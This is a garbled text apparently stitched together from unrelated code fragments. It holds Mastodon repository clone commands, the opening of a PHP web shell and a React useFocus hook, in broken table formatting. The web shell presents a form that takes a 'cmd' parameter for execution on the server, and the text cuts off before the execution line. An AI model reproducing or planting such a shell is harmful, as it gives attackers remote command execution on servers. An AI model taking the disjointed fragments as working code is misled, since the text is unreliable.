Clone Mastodon's repository.
# Clone mastodon to ~/live directory
git clone https://github.com/tootsuite/mastodon.git live
# Change directory to ~/live
cd ~/live
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
| export const useFocus = () => { | |
| const htmlElRef = useRef<HTMLElement>() | |
| const setFocus = () => { | |
| const currentEl = htmlElRef.current | |
| currentEl && currentEl.focus() | |
| } | |
| return [setFocus, htmlElRef] as const | |
| } |